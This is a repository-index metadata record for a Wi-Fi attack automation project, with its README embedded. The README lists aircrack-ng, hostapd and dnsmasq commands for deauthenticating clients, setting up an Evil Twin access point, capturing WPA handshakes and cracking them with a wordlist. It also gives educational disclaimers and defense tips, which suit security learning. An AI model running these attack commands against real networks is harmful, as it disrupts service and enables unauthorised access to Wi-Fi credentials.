{"id":29200215,"url":"https://github.com/danyalkhattak/wifi-attack-tool","last_synced_at":"2025-07-02T10:32:06.721Z","repository":{"id":301695953,"uuid":"868140207","full_name":"Danyalkhattak/wifi-attack-tool","owner":"Danyalkhattak","description":"Wi-Fi Attack Automation Tool for Kali Linux and Windows PowerShell automates Wi-Fi attacks like Deauthentication, Evil Twin, and WPA Handshake Capture. Ideal for cybersecurity enthusiasts to learn and practice network penetration testing and Wi-Fi security.","archived":false,"fork":false,"pushed_at":"2025-06-28T08:24:13.000Z","size":35,"stargazers_count":30,"open_issues_count":0,"forks_count":7,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-06-28T09:33:05.716Z","etag":null,"topics":["aircrack-ng-features","deauthentication-attack","evil-twin","kali-linux","network-scanner","powershell","python-script","wifi-attack","wifi-hacking","wifi-scanning","wpa-handshakes"],"latest_commit_sha":null,"homepage":"https://www.instagram.com/dannyk_739","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Danyalkhattak.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2024-10-05T15:25:02.000Z","updated_at":"2025-06-28T08:24:16.000Z","dependencies_parsed_at":"2025-06-28T09:33:38.366Z","dependency_job_id":"18f74d69-b8d7-4ab2-bd72-a9db21a20f33","html_url":"https://github.com/Danyalkhattak/wifi-attack-tool","commit_stats":null,"previous_names":["danyalkhattak/wifi-attack-tool"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Danyalkhattak/wifi-attack-tool","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Danyalkhattak%2Fwifi-attack-tool","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Danyalkhattak%2Fwifi-attack-tool/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Danyalkhattak%2Fwifi-attack-tool/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Danyalkhattak%2Fwifi-attack-tool/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Danyalkhattak","download_url":"https://codeload.github.com/Danyalkhattak/wifi-attack-tool/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Danyalkhattak%2Fwifi-attack-tool/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":263120603,"owners_count":23416851,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aircrack-ng-features","deauthentication-attack","evil-twin","kali-linux","network-scanner","powershell","python-script","wifi-attack","wifi-hacking","wifi-scanning","wpa-handshakes"],"created_at":"2025-07-02T10:30:55.027Z","updated_at":"2025-07-02T10:32:06.699Z","avatar_url":"https://github.com/Danyalkhattak.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"./images.jpeg\" alt=\"Thumbnail\" /\u003e\n\u003c/p\u003e\n\n# 🔥 Wi-Fi Attack Automation Tool (Kali Linux \u0026 Windows PowerShell) 🔥\n\n\nThis tool allows you to automate Wi-Fi attacks such as Deauthentication, Evil Twin, and WPA Handshake Capture in **Kali Linux**, and enables Wi-Fi scanning and learning features in **Windows PowerShell**. Perfect for cybersecurity students and professionals!\n\n🚨 **Disclaimer**: This tool is for educational purposes only. Always get permission from network owners before conducting any attacks.\n\n## 📜 Features\n\n### 🔥 **Kali Linux** Version:\n- 🕵️ **Network Scanning**: Identify nearby Wi-Fi networks.\n- 🚫 **Deauthentication Attack**: Disconnect all clients from a target network.\n- 💀 **Evil Twin Attack**: Set up a rogue Wi-Fi access point.\n- 📡 **WPA Handshake Capture**: Capture handshakes for offline cracking.\n- 🛡️ **Defense Tips**: Learn how to defend your network against attacks.\n\n### 💻 **Windows PowerShell** Version:\n- 🕵️ **Wi-Fi Scanning**: View available Wi-Fi networks.\n- 🛡️ **Defense Tips**: Learn about Wi-Fi security best practices.\n- 📚 **Educational Features**: Gain insights into different types of Wi-Fi attacks and how they work.\n\n## 🎯 How to Use\n\n### Kali Linux Setup\n\n#### 1. Install Dependencies\nEnsure you have all necessary tools installed:\n```bash\nsudo apt-get install aircrack-ng hostapd dnsmasq\n```\n\n#### 2. Clone the Repo\n```bash\ngit clone https://github.com/Danyalkhattak/wifi-attack-tool.git\ncd wifi-attack-tool\n```\n\n#### 3. Install Python Dependencies\n```bash\npip install -r requirements.txt\n```\n\n#### 4. Run the Tool\n```bash\nsudo python3 main.py\n```\n\n---\n\n### Windows PowerShell Setup\n\n#### 1. Clone the Repo\nFor Windows PowerShell, you can clone the repository by running:\n\n```powershell\ngit clone https://github.com/Danyalkhattak/wifi-attack-tool.git\ncd wifi-attack-tool\n```\n\n#### 2. Install Dependencies\nYou may need to install some PowerShell modules:\n\n```powershell\nInstall-Module -Name WiFiProfileManagement\n```\n\nYou can also use built-in cmdlets for simple network scanning.\n\n#### 3. Run the Tool\n```powershell\n.\\main.ps1\n```\n\n---\n\n## 📡 Wi-Fi Scanning\n\n### Kali Linux:\n- Run the network scanning module to view nearby Wi-Fi networks:\n```bash\nsudo airmon-ng start wlan0\nsudo airodump-ng wlan0mon\n```\n\n### Windows PowerShell:\n- Scan for available Wi-Fi networks:\n```powershell\nnetsh wlan show networks\n```\n\n---\n\n## 🚀 Attacks (Kali Linux)\n\n1. **Deauthentication Attack**:\n   - Disconnect clients from a target network:\n     ```bash\n     sudo airmon-ng start wlan0 \u003cchannel\u003e\n     sudo aireplay-ng --deauth 0 -a \u003cBSSID\u003e wlan0mon\n     ```\n\n2. **Evil Twin Attack**:\n   - Create a fake access point:\n     ```bash\n     sudo hostapd -B /etc/hostapd.conf\n     sudo dnsmasq -C /etc/dnsmasq.conf\n     ```\n\n3. **WPA Handshake Capture**:\n   - Capture a WPA handshake:\n     ```bash\n     sudo airodump-ng --bssid \u003cBSSID\u003e --channel \u003cchannel\u003e -w \u003coutput\u003e wlan0mon\n     ```\n\n4. **Crack WPA Handshake**:\n   - Crack the captured WPA handshake using a wordlist:\n     ```bash\n     sudo aircrack-ng \u003chandshake.cap\u003e -w /usr/share/wordlists/rockyou.txt\n     ```\n\n---\n\n## 🛡️ Defense Measures\n\n### Linux \u0026 Windows:\nAfter simulating attacks, learn how to protect your network:\n- Use **WPA3** encryption for enhanced security.\n- Disable **WPS** (Wi-Fi Protected Setup).\n- Enable **802.11w** to protect management frames.\n- Set a strong and unique Wi-Fi password.\n- Regularly monitor your network for suspicious devices.\n\n---\n\n## 🎯 Windows PowerShell Features\n\nIn Windows PowerShell, this tool provides insights and educational examples on common Wi-Fi attacks. It includes:\n- **Wi-Fi Scanning**: View the available Wi-Fi networks around you.\n- **Attack Simulations**: Learn how attacks like Deauthentication and Evil Twin work (educational only).\n- **Defense Tips**: Understand how to protect your network against common attacks.\n\n---\n\n## 🌐 Connect with Me\n\nFollow me on Instagram or support my work by buying me a coffee!\n\n[![Instagram](https://img.shields.io/badge/Instagram-E4405F?style=for-the-badge\u0026logo=instagram\u0026logoColor=white)](https://instagram.com/dannyk_739)\n\n\n---\n\n## 📖 Tutorials\n\n### Scanning for Networks\n\n#### Kali Linux:\n1. Start your Wi-Fi adapter in monitoring mode:\n   ```bash\n   sudo airmon-ng start wlan0\n   ```\n\n2. Scan networks in range:\n   ```bash\n   sudo airodump-ng wlan0mon\n   ```\n\n#### Windows PowerShell:\n1. Run the following command to view available networks:\n   ```powershell\n   netsh wlan show networks\n   ```\n\n### Defending Against Attacks\n\n1. **WPA3**: Use WPA3 encryption for the strongest security.\n2. **MAC Filtering**: Limit which devices can connect to your Wi-Fi based on their MAC address.\n3. **Disable WPS**: Turn off WPS in your router settings to prevent brute-force attacks.\n\n---\n\n## 🚀 Roadmap\n\n- Add ARP Spoofing and DNS Poisoning attacks.\n- Implement a GUI for both Windows and Linux.\n- Add support for advanced password cracking options.\n\n## ⚠️ Disclaimer\n\nThis tool is for **ethical hacking** and **educational purposes only**. Do not use it on networks you do not own or have permission to test.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdanyalkhattak%2Fwifi-attack-tool","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdanyalkhattak%2Fwifi-attack-tool","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdanyalkhattak%2Fwifi-attack-tool/lists"}